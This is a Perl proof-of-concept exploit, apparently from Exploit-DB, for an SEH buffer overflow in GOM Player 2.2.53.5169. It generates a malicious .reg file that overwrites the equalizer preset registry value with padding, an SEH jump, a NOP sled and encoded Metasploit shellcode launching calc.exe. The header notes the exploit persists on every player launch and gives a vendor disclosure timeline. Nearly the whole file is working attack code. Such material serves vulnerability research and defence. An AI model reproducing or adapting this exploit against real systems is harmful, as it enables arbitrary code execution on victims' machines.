#!/usr/bin/perl

######################################################################################################
# Exploit Title: GOM Player 2.2.53.5169 - SEH Buffer Overflow (.reg)
# Date: 11-26-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software/Version: GOM Player 2.2.53.5169
# Vendor Site: http://player.gomlab.com/eng/
# Vulnerable Software Link: http://www.oldapps.com/gom_player.php?old_gom_player=12874
# Tested On: Windows XP SP3 (Only crashes Win 7 b/c no suitable seh modules or jmp/call regs found)
# Details:
# -- GOM Player uses registry keys to set various attributes including the equalizer presets
# -- These registry values can be found here: HKEY_CURRENT_USER\Software\GRETECH\GomPlayer\OPTION
# -- It loads these values into memory without proper bounds checks which enables the exploit
# -- Modification of these registry values requires binary input (a line feed).  
# -- To accomplish this via the reg file I used 2 char hex values separated by a comma. 
# -- For example, instead of \x41\x41 it's 41,41.  This also has an added benefit of avoiding the 
# -- Unicode encoding that occurs if ascii input is used 
# To Exploit:
# -- 1) Run created .reg file and 2) Open GOM Player 
# -- Note: GOM Player must have been run at least once on the target machine before
# -- running the .reg file or the necessary registry entries will not exist
# -- Once the registry has been modified, this exploit will be persistent and execute every time
# -- GOM player is run
# Timeline:
# -- 27 Nov: Vuln discovered, vendor contacted; vuln acknowledged, fix planned for next release
# -- 28 Nov: Contacted Mitre for CVE coord; informed that despite past precedent (CVE 2013-6356), a 
# --         vuln that requires a user to open/run a file such as .reg should not be assigned a CVE
# -- 09 Dec: Vendor goes live w/ updated version containing fix; public disclosure
#######################################################################################################
# Exploit-DB Note:
# This PoC may need some adjustments
#

my $buffsize = 5000; # sets buffer size for consistent sized payload

# construct the required start and end of the reg file
my $regfilestart ="Windows Registry Editor Version 5.00\n\n";
$regfilestart = $regfilestart . "[HKEY_CURRENT_USER\\Software\\GRETECH\\GomPlayer\\OPTION]\n";
$regfilestart = $regfilestart . "\"_EQPRESET009\"="; # I used preset 9 arbitrarily; any eqpreset will cause a bof condition
my $regfileend = "0a," . "0,0,0,0,0,0"; # the line feed (0a) is required to trigger the exploit
					# the additional 0s represent dummy/placeholder equalizer settings

my $junk = "41," x 568; # offset to next seh at 568
my $nseh = "eb,14,90,90,"; # overwrite next seh with jmp instruction (8 bytes)
my $seh = "44,26,c8,74,"; # 0x74c82644 : pop ebx  pop ebp  ret 
			              # ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.2.5406.0 (C:\WINDOWS\system32\OLEACC.dll)
my $nops = "90," x 50; 

# Calc.exe payload [size 461]
# msfpayload windows/exec CMD=calc.exe R | 
# msfencode -e x86/alpha_mixed -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "db,cd,d9,74,24,f4,5f,57,59,49,49,49,49,49," .
"49,49,49,49,43,43,43,43,43,43,43,37,51,5a," .
"6a,41,58,50,30,41,30,41,6b,41,41,51,32,41," .
"42,32,42,42,30,42,42,41,42,58,50,38,41,42," .
"75,4a,49,69,6c,6b,58,4f,79,55,50,75,50,35," .
"50,33,50,4b,39,49,75,66,51,4a,72,52,44,6e," .
"6b,70,52,44,70,6e,6b,42,72,44,4c,4c,4b,63," .
"62,64,54,6e,6b,42,52,54,68,34,4f,6c,77,63," .
"7a,35,76,65,61,4b,4f,74,71,4f,30,6c,6c,65," .
"6c,71,71,53,4c,46,62,76,4c,37,50,49,51,68," .
"4f,76,6d,57,71,6b,77,7a,42,7a,50,32,72,42," .
"77,4c,4b,42,72,44,50,6c,4b,31,52,37,4c,55," .
"51,7a,70,4c,4b,33,70,62,58,4f,75,6b,70,51," .
"64,52,6a,77,71,78,50,42,70,4c,4b,52,68,47," .
"68,4c,4b,46,38,37,50,77,71,5a,73,58,63,55," .
"6c,53,79,4e,6b,66,54,4c,4b,73,31,38,56,75," .
"61,59,6f,36,51,59,50,4c,6c,6a,61,4a,6f,34," .
"4d,46,61,79,57,77,48,49,70,31,65,4b,44,65," .
"53,43,4d,6b,48,65,6b,53,4d,64,64,53,45,6d," .
"32,73,68,6e,6b,70,58,67,54,67,71,39,43,62," .
"46,6c,4b,76,6c,42,6b,4e,6b,62,78,45,4c,37," .
"71,38,53,4c,4b,46,64,4c,4b,45,51,48,50,4c," .
"49,50,44,71,34,47,54,71,4b,31,4b,63,51,31," .
"49,63,6a,70,51,69,6f,39,70,46,38,73,6f,53," .
"6a,4e,6b,56,72,58,6b,4b,36,31,4d,42,4a,55," .
"51,4c,4d,4d,55,38,39,65,50,65,50,65,50,56," .
"30,62,48,75,61,4c,4b,62,4f,4f,77,79,6f,49," .
"45,6f,4b,5a,50,6c,75,4d,72,36,36,42,48,59," .
"36,4a,35,4d,6d,6d,4d,49,6f,49,45,45,6c,45," .
"56,43,4c,76,6a,4f,70,39,6b,4b,50,42,55,36," .
"65,4d,6b,51,57,44,53,62,52,50,6f,62,4a,77," .
"70,56,33,6b,4f,4a,75,35,33,35,31,72,4c,33," .
"53,74,6e,32,45,43,48,75,35,37,70,41,41,";
 
my $sploit = $junk.$nseh.$seh.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = "43," x ($buffsize - (length($sploit))/3); # fill remainder of buffer with junk; divide by 3 to compensate for hex format
my $buffer = $sploit.$fill; # assemble the final buffer
my $regfile = $regfilestart . "hex: " . $buffer . $regfileend; # construct the reg file with hex payload to generate binary registry entry

# write the exploit buffer to file
my $file = "gom_seh_bof.reg";
open(FILE, ">$file");
print FILE $regfile;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer)/3 . "\n"; 
